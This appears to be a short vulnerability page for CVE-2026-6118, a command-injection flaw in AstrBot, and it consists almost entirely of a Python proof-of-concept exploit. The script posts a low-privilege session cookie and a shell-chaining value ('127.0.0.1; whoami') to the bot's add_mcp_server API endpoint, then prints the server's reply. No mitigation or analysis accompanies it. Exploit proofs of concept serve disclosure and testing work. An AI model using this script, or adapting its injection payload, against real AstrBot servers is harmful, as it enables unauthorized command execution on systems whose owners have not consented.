CVE-2026-6118 AstrBot命令注入漏洞

import requests # Target URL configuration target_url = "http://<target_ip>:<port>/api/tools/add_mcp_server" # Attacker's session cookie (required due to PR:L) cookies = { "session": "<low_privilege_session_cookie>" } # Payload attempting to inject a command (e.g., `whoami`) # Assuming the context allows shell command chaining malicious_command = "127.0.0.1; whoami" data = { "command": malicious_command, # Additional parameters required by the endpoint "name": "test_server" } try: response = requests.post(target_url, cookies=cookies, data=data) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") except Exception as e: print(f"Exploit failed: {e}")